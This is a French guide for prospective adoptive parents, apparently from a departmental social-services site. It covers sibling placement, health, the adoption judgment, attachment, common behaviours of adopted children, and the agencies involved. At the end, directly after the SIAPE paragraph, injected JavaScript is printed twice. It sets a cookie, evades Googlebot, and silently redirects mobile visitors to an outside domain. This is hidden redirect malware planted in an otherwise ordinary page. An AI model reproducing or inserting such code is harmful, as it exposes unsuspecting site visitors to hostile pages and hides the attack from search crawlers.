Oui, en règle générale, les enfants élevés ensemble ne sont pas séparés lors de leur adoption. Il faut donc leur trouver des familles prêtes à les accueillir en même temps, qu’ils soient deux, trois, parfois plus, petits ou déjà grands. Les familles qui ont tenté cette grande aventure ne le regrettent généralement pas : la présence d’un frère ou d’une sœur peut être un élément de stabilité ou de sécurité même s’ils ne s’acclimatent pas au même rythme. Mais des difficultés peuvent surgir : les relations entre les frères et sœurs peuvent se resserrer ou se distendre ; ils peuvent aussi faire bloc face à leurs nouveaux parents…

Je préfère ne pas choisir

Certains postulants préfèrent s’en remettre au destin, arguant que c’est ce qui se passe en cas de naissance dans une famille ou qu’il est déjà difficile d’arriver au bout de son projet, pour ne pas, en plus, mettre des limites. C’est méconnaître la réalité de l’adoption parce que la construction d’une famille autour de l’adoption est plus complexe que celle d’une famille « classique » : il y a le vécu de l’enfant, les incertitudes autour de son passé, le regard de l’entourage… De toute façon, l’ASE est là pour pousser les postulants dans un projet concret qui ne soit pas « n’importe quel enfant à n’importe quelles conditions ». Car tout enfant ne peut pas être NOTRE enfant. C’est aussi en faisant ce chemin vers un enfant réel, que l’on attend vraiment, que l’on se prépare à bien l’accueillir.

  

4. Du projet à l’enfant

Il s’écoule généralement de longs mois entre l’agrément et l’arrivée de l’enfant, pendant lesquels il faut être actifs, savoir mettre le temps à profit… et ne pas se décourager.

Les surprise des premiers temps avec l’enfant

À des degrés divers, l’enfant peut manifester des régressions (comportements proches de ceux d’un tout jeune bébé), comme s’il souhaitait effacer ce qu’il a vécu auparavant et prendre place dans sa nouvelle famille. Puis l’enfant et ses parents continueront à s’adopter mutuellement et à élaborer leur vie commune, l’enfant pouvant chercher à mettre à mal la fiabilité des liens qu’ils sont en train de tisser entre eux. Dans tous les cas, la séparation d’un enfant de son milieu de naissance ou de vie doit se préparer, quel que soit son âge. Pour l’enfant étranger adopté hors de son pays, cette séparation se double d’un changement important de son environnement et de ses habitudes de vie (alimentation, sommeil, rythmes, odeurs, bruits…).

Les enfants sont-ils en parfaite santé ?

Personne ne peut donner cette garantie, mais il est important de chercher à avoir le plus d’informations possibles. Des enfants arrivant de l’étranger peuvent avoir vécu dans des conditions sanitaires insuffisantes, et avec des modes de prise en charge différents. Les bilans médicaux établis dans certains pays d’origine ne sont pas toujours fiables et certaines pathologies sont mal connues dans notre pays. Ils présentent à leur arrivée un poids et une taille souvent inférieurs aux normes occidentales. S’ils souffrent fréquemment de pathologies bénignes, certains sont atteints de maladies plus graves, en général diagnostiquées. Les postulants doivent alors conduire leur projet en pleine connaissance des effets, même si on voit bon nombre d’enfants récupérer rapidement, étant placés dans un environnement favorable.

Inné ou acquis ?

Les sciences humaines relativisent aujourd’hui le poids de l’hérédité et mettent en évidence l’importance du milieu éducatif : les enfants adoptés ressemblent à tous les autres enfants dont les parents ont des conditions de vie semblables à celles des parents adoptifs. Certes, des facteurs de risques (carences socio-affectives, alimentaires, sanitaires…) liés à la période « d’avant » peuvent influer le comportement, mais plus les parents en seront informés, mieux ils pourront y faire face. Récemment la loi a introduit dans le droit français une définition des liens familiaux qui se réduiraient à la traçabilité génétique, définition qui ne correspond pas à ce que les familles adoptives vivent.

Le placement en vue d’adoption précède l’adoption

L’enfant est placé, en vue d’adoption, chez les futurs adoptants durant au moins 6 mois. Dès que l’enfant est placé, les parents peuvent déposer une requête auprès du Tribunal de Grande Instance. Dans le cas de l’adoption plénière, passé le délai de 6 mois, le Tribunal de Grande Instance prononce l’adoption, après vérification du respect des conditions légales et de l’intérêt de l’enfant.

Comment se passe le jugement d’adoption ?

L’adoption est prononcée, après la requête des parents, par le Tribunal de Grande Instance, pour les enfants de moins de 15 ans accueillis au foyer des adoptants depuis au moins 6 mois. Toutefois, si l’enfant a plus de 15 ans, il peut être adopté s’il a été recueilli par les personnes effectuant la démarche avant cet âge. Dans les quinze jours suivant le caractère exécutable de la décision, l’adoption plénière est transcrite sur les registres de l’Etat civil, l’acte de naissance originel de l’enfant est considéré comme nul et c’est la transcription du jugement d’adoption sur le registre de l’état civil du lieu de naissance de l’enfant qui lui tiendra lieu d’acte de naissance. Elle ne contient aucune indication relative à la filiation réelle de l’enfant.

Faut-il lui dire la vérité sur son adoption ?

Oui, il faut parler vrai à son enfant, seul langage compatible avec l’amour qui unit parents et enfants. La vérité est source de stabilité et de sécurité affective. Plus l’adoption est vécue positivement par les adultes (hors de la culpabilité, de l’échec ou d’un traumatisme), plus il y a de chances que cela se passe bien pour l’enfant en grandissant (adolescence, début de l’âge adulte). Cependant dire la vérité ne signifie pas nécessairement anticiper les questions, mais plutôt les accompagner. Cette précaution est utile dans le cas des recherches des origines ou des circonstances de naissance ou d’abandon ; on ne peut pas mettre un enfant face à un contenu qu’il n’a pas forcément envie d’entendre.

L’attachement c’est quoi ?

L’attachement est de plus en plus pris en compte dans le travail fait auprès des jeunes enfants et de leur famille. La plupart des professionnels reconnaissent l’importance de travailler à l’établissement ou au rétablissement de ce lien entre le jeune enfant et ses parents. Un attachement sécurisé protège l’enfant contre l’installation de troubles psychologiques. Il importe donc d’être attentif à l’établissement rapide d’un lien sécurisé et sécurisant entre parents et enfants, ce qui se fait dans la plupart des situations. Cependant, il arrive que des enfants adoptés soient sujets à des problèmes de santé rendant l’attachement difficile. Ces problèmes peuvent être attribuables aux conditions de vie intra-utérine, aux conditions de vie avant l’adoption, à la malnutrition et aux infections. Ils peuvent affecter le développement de l’enfant. Les troubles s’avèrent souvent difficiles à cerner et à diagnostiquer, n’étant pas perçus comme un problème de santé, mais plutôt d’un fonctionnement très difficile au quotidien : troubles de l’attachement, de l’humeur, du comportement.

Des caractéristiques propres aux enfants adoptés :

  • L’incomparable : l’enfant adopté est « incomparable » avec d’autres car dans les premiers mois après l’arrivée, il se développe à un rythme extraordinaire, compte tenu de son état à l’arrivée.
  • Les sommeils difficiles : refus de s’endormir, terreurs nocturnes, énurésie, cauchemars fréquents, sommeil agité sont possibles en adoption. La qualité du sommeil d’un enfant est le reflet de sa santé physique et de son état émotif .
  • La reproduction du modèle de survie : Il est possible qu’il reproduise une habitude ou des comportements qui l’ont aidé à survivre : manière de s’endormir, d’attirer l’attention, d’avoir de la nourriture. Il faut le rassurer, maintenant qu’il a des parents pour répondre à ses besoins, il n’est plus seul pour s’occuper de lui-même.
  • Le développement en escalier : Le développement physique, émotif, social et cognitif d’un enfant ne se fait pas de façon continue et linéaire. C’est encore plus vrai chez les enfants adoptés.
  • La phase de régression : les enfants adoptés ont des phases où ils semblent perdre leurs acquis. De façon générale, ces phases de régressions sont un pas en arrière pour prendre un élan afin de «sauter» plus loin. Mais il faut les décoder, les comprendre et ne pas se laisser abattre.
  • Le séducteur ou l’indifférent : Les enfants adoptés peuvent être charmants voire même charmeurs ! On peut supposer qu’ils reproduisent dans le présent une formule gagnante pour eux dans le passé (attention minimale nécessaire de la part des nourrices par exemple). Par contre ces comportements peuvent rester parfois très superficiels et l’enfant peut devenir totalement indifférent si l’adulte veut créer trop vite une véritable intimité affective avec lui. Il faut se rappeler que l’enfant a reçu une petite cuillère d’affection chaque jour avant son adoption, il peut se sentir étouffé ou carrément noyé si on lui offre un immense pichet à la fois !
  • La peur exagérée du rejet et de l’abandon : Une majorité des adoptés, grands ou petits, ont une sensibilité extrême face à toutes situations où ils perçoivent une forme de rejet ou de critique ou pire un risque d’abandon. Cela peut durer des mois ou des années.
  • La non permanence des choses : Au moment de son adoption, un enfant a vécu au moins (parfois beaucoup plus) à deux endroits : avec sa mère biologique et ensuite dans son milieu substitutif. Le voilà maintenant dans un troisième ! Si le passé est garant du futur, il se dira que ce n’est que temporaire comme les autres fois et qu’il risque de repartir bientôt ou un jour ! Des enfants demandent sans cesse, si leurs parents les aiment, d’autres sont exagérément terrorisés lorsqu’on les dispute, même pour une petite faute ou fragilisés devant tout changement : déménagement, changement de garderie, changement de chambre, séparation des parents, etc. Il faut donc constamment se mettre dans leur peau et trouver correct que rien ne soit permanent pour eux. Il faut répéter notre amour inconditionnel, faire la différence entre un comportement que l’on ne veut pas et lui que l’on aime malgré ses petits écarts de conduite. Il faut être d’une grande stabilité dans nos habitudes de vie, le milieu de garde, les écoles, les maisons…
  • La fragilité dans leurs besoins primaires : certains comportements sont le signe de blessures invisibles. Certains parents s’étonnent qu’une enfant âgée de 10 ans et adoptée à 18 mois cache parfois encore de la nourriture c’est la douloureuse confirmation qu’elle a eu bien faim. Alors au lieu qu’elle le fasse en cachette et dans la honte, pourquoi ne pas lui offrir d’avoir toujours une barre tendre dans un tiroir de chambre par exemple.
  • La quête des origines : elle varie selon l’âge émotif et mental de l’enfant puis de l’adulte. Cette recherche n’a pas la même importance et signification pour tous. Ce n’est pas un désaveu de la relation adoptive. Mais il faut comme parent se préparer mentalement à accepter cette étape, souvent rencontrée à l’adolescence. Un refus de la légitimité de cette quête peut vraiment mettre en péril la qualité de la relation parent-enfant. Alors qu’une ouverture sincère ne peut que l’enrichir.
  • Un moment important : l’intégration à l’école. Pour l’enfant adopté, le passage à l’école comprend tous les sentiments des autres enfants mais, en plus, il représente une nouvelle confrontation avec sa différence. Si sa couleur de peau le distingue des autres enfants et surtout s’il est le seul enfant dans cette situation, l’école devient particulièrement déroutante. Il pourra se faire dire bien des choses désagréables, peut-être pour la première fois. Dans ces situations, les parents doivent offrir un appui solide à l’enfant. À l’âge de l’entrée à l’école, les enfants ne comprennent pas vraiment ce que signifie le racisme et la plupart des remarques ne sont pas mal intentionnées. Le plus souvent, le temps règle bien des problèmes, le professeur est sans doute le mieux placé pour évaluer la situation et proposer des solutions.

  

5 . Des Interlocuteurs et des sigles dans votre parcours

  

L’AFA : Agence Française de l’Adoption.

Partenaire des départements, interlocuteur des pays étrangers ouverts à l’adoption, l’Agence Française de l’Adoption (A.F.A.) a pour mission d’informer, de conseiller et d’accompagner les familles qui font appel à ses services. L’objectif est de leur éviter au maximum les nombreuses difficultés ou tracasseries qu’elles risquent de rencontrer au cours de leurs démarches. L’Agence ne se substitue pas aux O.A.A. : elle offre un service différent aux demandes individuelles ou encadrées et facilitera leurs démarches en les sécurisant.

Un accueil est assuré sur rendez-vous.

Les OAA : Organismes agréées pour l’Adoption

Les Organismes Autorisés pour l’Adoption – une quarantaine – représentent 38 % du nombre des adoptions à l’étranger. Ce sont des organismes privés contrôlés par les pouvoirs publics, autorisés par les départements et habilités par le Ministère des Affaires Etrangères à intervenir dans un ou plusieurs pays comme intermédiaires pour l’adoption d’enfants de moins de quinze ans. Après acceptation de leur dossier, ils accompagnent les adoptants tout au long de la procédure d’adoption et après l’arrivée de l’enfant.Vous trouverez la liste des OAA agréés dans Les Côtes d’Armor dans votre dossier de demande d’agrément, ou auprès de l’ASE.

La Mission de l’Adoption Internationale (M.A.I.)

La M.A.I., appelée à disparaître, est un service du Ministère des Affaires Etrangères. Jusqu’à présent, elle assurait la mission régalienne de délivrance des visas long séjour adoption, le secrétariat de l’Autorité Centrale française, l’information du public sur les procédures d’adoption et la transmission à l’étranger des dossiers des candidats en démarche individuelle. Cette structure va se fondre au cours de l’année 2007 dans le Secrétariat de l’Autorité centrale française, en conservant principalement la veille juridiquede l’adoption internationale, l’habilitation et le contrôle des Organismes Autorisés pour l’Adoption. La question des visas est en suspens. L’information et l’accueil du public sont d’ores et déjà transférés à l’A.F.A.

L’Autorité centrale pour l’adoption internationale

L’Autorité centrale pour l’adoption internationale est, pour la France, l’autorité de contrôle de l’application de la Convention de La Haye. Elle est placée auprès du Ministre des Affaires Etrangères. Elle a une mission de régulation, de veille et de coopération en matière d’adoption internationale.Le SGAI (Secrétariat Général pour l’Adoption Internationale ) exercera les attributions de l’Autorité Centrale de même que celles des fonctions relevant de la compétence propre du ministère des affaires étrangères et qui sont les plus directement liées à la surveillance et à la « gouvernance » de l’adoption internationale.A la différence de la MAI, à laquelle il succèdera, il n’aura plus les fonctions d’« opérateur » que cette dernière assurait, dans certains cas, pour les procédures d’instruction et d’envoi de demandes individuelles d’adoption. Au regard des normes françaises ou internationales, il aura principalement des fonctions de régulation et de contrôle ainsi que de veille et d’expertise juridique.

  • Contact : Ministère des affaires étrangères et européennes – SGAI244, boulevard Saint Germain 75303 PARIS 07 SPTél. : 01 43 17 89 91 – courrier.sgai@diplomatie.gouv.fr

Le Conseil Supérieur de l’Adoption

Il regroupe l’ensemble des intervenants dans le domaine de l’adoption nationale et internationale : O.A.A., associations de familles adoptives, Conseils généraux, services ministériels, personnalités qualifiées… C’est une instance consultative sur l’adoption.

EFA : Enfance et Famille d’Adoption

Enfance et Familles d’Adoption (EFA) est une fédération de 90 associations départementales, regroupant 10 000 familles : c’est le premier mouvement de l’adoption en France. Elle est l’interlocuteur privilégié des pouvoirs publics en matière d’adoption. Enfance et Familles d’Adoption ne confie pas d’enfants à l’adoption.

Le CNAOP : Conseil national pour l’accès aux origines personnelles

Le Conseil National pour l’Accès aux Origines Personnelles a été créé en 2002 pour faciliter l’accès aux origines personnelles des personnes adoptées et des pupilles de l’État.Le Conseil a compétence pour communiquer l’identité des parents de naissance après avoir vérifié leur volonté de lever le secret concernant cette identité et non pour rechercher ces mêmes parents s’ils n’ont pas demandé le secret. Il a également compétence pour recevoir les levées de secret des parents de naissance ou les déclarations d’identité des ascendants, descendants ou collatéraux privilégiés des parents de naissance.

L’ASE : service de l’aide sociale à l’enfance

Le service de l’aide sociale à l’enfance (ASE) est un service du département, placé sous l’autorité du président du Conseil Général et dont la mission essentielle est de venir en aide aux enfants et à leur famille par des actions de prévention individuelle ou collective, de protection et de lutte contre la maltraitance, par des actions de prévention et de soutien en direction des enfants et des familles en difficultés psychosociales, et des actions de prise en charge d’enfants qui, pour des raisons diverses, ne peuvent demeurer dans leur famille.L’aide sociale à l’enfance est tuteur et, à ce titre, exerce directement la tutelle en prenant en charge les mineurs qui lui sont confiés. Par rapport aux questions d’adoption, l’ASE a deux rôles :

  • prendre en charge les pupilles de l’Etat, enfants qui, parce qu’ils sont privés de famille, font l’objet de projets d’adoption ;
  • instruire les demandes d’agrément des adoptants.

Le SIAPE

Le SIAPE, Système d’Information pour l’Adoption des Pupilles de l’Etat, est un outil informatique qui vise à favoriser le rapprochement d’enfants pupilles de l’Etat en attente longue avec des candidatures de personnes agréées (ouvertes à l’accueil d’un enfant présentant au moins l’une des caractéristiques suivantes : âgé de 6 ans et plus, en fratrie, à particularité) en vue d’une adoption. Ce rapprochement, effectué à partir de deux fichiers (enfants et candidats), est destiné à permettre l’étude de candidatures potentielles et, le cas échéant, la mise en œuvre d’un projet d’adoption.Les informations concernant chaque pupille et chaque famille sont consignées dans une fiche non nominative.if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« ooglebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera, »);}if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« Googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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